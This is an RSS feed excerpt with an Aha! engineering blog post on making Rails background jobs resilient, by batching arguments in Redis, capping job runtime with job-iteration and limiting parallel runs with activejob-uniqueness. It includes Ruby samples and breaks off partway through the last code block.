&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop&lt;/a&gt; together. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Making background jobs more resilient by default]]></title><description><![CDATA[When it comes to job processing, timing is everything. Running jobs in the background helps us remove the load from the web servers handling…]]></description><link>https://www.aha.io/engineering/articles/making-background-jobs-more-resilient-by-default</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/making-background-jobs-more-resilient-by-default</guid><dc:creator><![CDATA[Kyle d’Oliveira]]></dc:creator><pubDate>Thu, 21 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When it comes to job processing, timing is everything. Running jobs in the background helps us remove the load from the web servers handling our customer&apos;s requests. However, we also want the background jobs to run in a reasonable amount of time for our customers. But what if a customer added so many background jobs that they used all of the background worker resources?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/8f5aa369e3588b949a60aab807a55d15/example-queue.jpeg&quot; alt=&quot;Example queue&quot;&gt;&lt;/p&gt;
&lt;p&gt;The jobs will be processed by available workers in the order they come in, which works great for the customer that added these jobs. But unfortunately for other accounts, their segments won&apos;t refresh until the backlog of all of those jobs is finished. This could be a problem for those accounts — it would look like the system isn&apos;t functioning properly as it waits for the queue to clear.&lt;/p&gt;
&lt;p&gt;We have solved this problem at Aha! by creating a module that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Batches separate jobs together&lt;/li&gt;
&lt;li&gt;Limits the runtime of any single job&lt;/li&gt;
&lt;li&gt;Limits parallel processing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When a job utilizes this new module, it becomes resilient to this problem by default.&lt;/p&gt;
&lt;p&gt;Let&apos;s explore this with an example to show how to prevent this slowdown for all accounts. Let&apos;s say we have &lt;code&gt;Accounts&lt;/code&gt; with various &lt;code&gt;Segments&lt;/code&gt;  (i.e., &quot;groups&quot;). Whenever we update a &lt;code&gt;Segment&lt;/code&gt;, we want to refresh that segment. This process could take a bit of time so we will put it into a background job. We may end up with some controller code that looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SegementsController&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationController&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    segment &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; current_account.segments.find(params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    segment.update!(segment_params)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    SegmentRefresher&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.perform_later(segment)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    head &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:ok&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is usually good to process what can be done immediately and then delay some of the more expensive work. This allows us to give immediate responses back to our customers and still perform the work that needs to be done. However, a customer could put thousands of &lt;code&gt;SegmentRefresher&lt;/code&gt; jobs onto our background job queue and prevent other customers&apos; jobs from running.&lt;/p&gt;
&lt;h2&gt;Batching separate jobs together&lt;/h2&gt;
&lt;p&gt;Typically, when a background job is enqueued via &lt;code&gt;ActiveJob&lt;/code&gt;, the parameters for the job are passed in as arguments to &lt;code&gt;perform_later&lt;/code&gt;. This isn&apos;t quite what we want in order to batch jobs together. Instead, we create a new method &lt;code&gt;perform_batch_later&lt;/code&gt; that puts the arguments into a data store such as &lt;a href=&quot;https://redis.io/&quot;&gt;Redis&lt;/a&gt; from which the job can later retrieve them.&lt;/p&gt;
&lt;p&gt;So previously the job code may have looked like the following:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SegmentRefresher&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationJob&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; perform&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(segment)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # Refresh the segment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We now have something that looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  extend&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActiveSupport&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Concern&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  class_methods &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # Push the data into Redis and then enqueue the job&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; perform_batch_later&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      data.each_slice(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |slice|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.rpush(data_key, slice.map(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      perform_later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.data_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &quot;SegmentRefresher:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Account&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.current.id}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SegmentRefresher&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationJob&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; perform&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    segment_ids &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.lpop(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.data_key, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    Segment&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; segment_ids).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |segement|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # Refresh the segment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The controller can now call &lt;code&gt;SegmentRefresher.perform_batch_later&lt;/code&gt; with one or more &lt;code&gt;Segments&lt;/code&gt; and that will be stored in Redis. Later, the job will run and grab 100 of those segment ids at a time to process.&lt;/p&gt;
&lt;p&gt;This technique can be really powerful. It allows multiple processes to not know about the other and still batch the data together. Further, we can utilize different Redis methods to get slightly different behaviors. For example:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using &lt;code&gt;rpush&lt;/code&gt; to add records and &lt;code&gt;lpop&lt;/code&gt; to remove them will give us a first in/first out queue. We can use this when the order of the jobs is important.&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;spush&lt;/code&gt; to add records and &lt;code&gt;spop&lt;/code&gt;  to remove them will give us an unordered set. This means that duplicate data is automatically filtered out, which prevents unnecessary work from being done. However, it is unordered so the jobs may be processed in a different order than they were enqueued.&lt;/li&gt;
&lt;li&gt;Using a timestamp and  &lt;code&gt;zadd&lt;/code&gt; to add records and &lt;code&gt;zrangebyscore&lt;/code&gt; / &lt;code&gt;zrem&lt;/code&gt; to remove them lets us create a delayed unordered set. This is useful for actions we want to perform in the future. This might show up if we want to perform an action five minutes after a customer stops interacting with an object.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Limiting the runtime of any single job&lt;/h2&gt;
&lt;p&gt;Now that we are batching data together, we want to limit how long a single job can run. In order to tackle this, we leveraged functionality from the &lt;a href=&quot;https://github.com/Shopify/job-iteration&quot;&gt;job-iteration&lt;/a&gt; gem. This gem provides an interface where we can define an enumerator and what to do each iteration. The gem will handle the rest.
Utilizing this, our job and module will now look like this:
(For ease of reading, the bit of code already shown has been removed.)&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  extend&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActiveSupport&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Concern&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  class_methods &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; perform_batch_later&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.data_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  included &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; JobIteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Iteration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; build_enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    Enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |yielder|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # We will pull 100 records out of the queue at a time and yield that to the enumerator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      while&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (segment_ids &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.lpop(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.data_key, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)).any?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        yielder.yield segment_ids, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;nil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SegmentRefresher&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationJob&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; each_iteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(segment_ids)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    Segment&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; segment_ids).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |segement|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # Refresh the segment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that the &lt;code&gt;SegmentRefresher&lt;/code&gt; &apos;s &lt;code&gt;perform&lt;/code&gt; method has been swapped for an &lt;code&gt;each_iteration&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;As long as there is data in Redis, this job will continue to perform until we hit the time threshold as defined by &lt;code&gt;JobIteration.max_job_runtime&lt;/code&gt;. The default is five minutes. Once we hit the threshold, the job will be interrupted and will re-queue itself. This will ensure that even if it takes a long time to refresh all of the segments, it won&apos;t monopolize a worker.&lt;/p&gt;
&lt;h2&gt;Limiting parallel processing&lt;/h2&gt;
&lt;p&gt;Now that data is batched together and individual jobs are handling things in batches, we want to prevent race conditions of multiple jobs running at once. We solved this by using the &lt;a href=&quot;https://github.com/veeqo/activejob-uniqueness&quot;&gt;activejob-uniqueness&lt;/a&gt; gem.&lt;/p&gt;
&lt;p&gt;With this gem, we can make the jobs unique. Duplicate jobs for a single account will be ignored. Because there is only one job, we have to handle a race condition of what would happen if our one job finished at the same moment that new data is added.&lt;/p&gt;
&lt;p&gt;The resulting job ends up looking like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  extend&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActiveSupport&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Concern&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  class_methods &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; perform_batch_later&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.data_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  included &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; JobIteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Iteration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    unique &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:until_expired&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;lock_ttl:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.minutes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    rescue_from(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;StandardError&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;with:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :handle_error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    on_shutdown &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # Ensure than when we are interrupting the job, that we clear the lock so that it can be re-queued&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      lock_strategy.unlock(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;resource:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lock_key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    on_complete &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
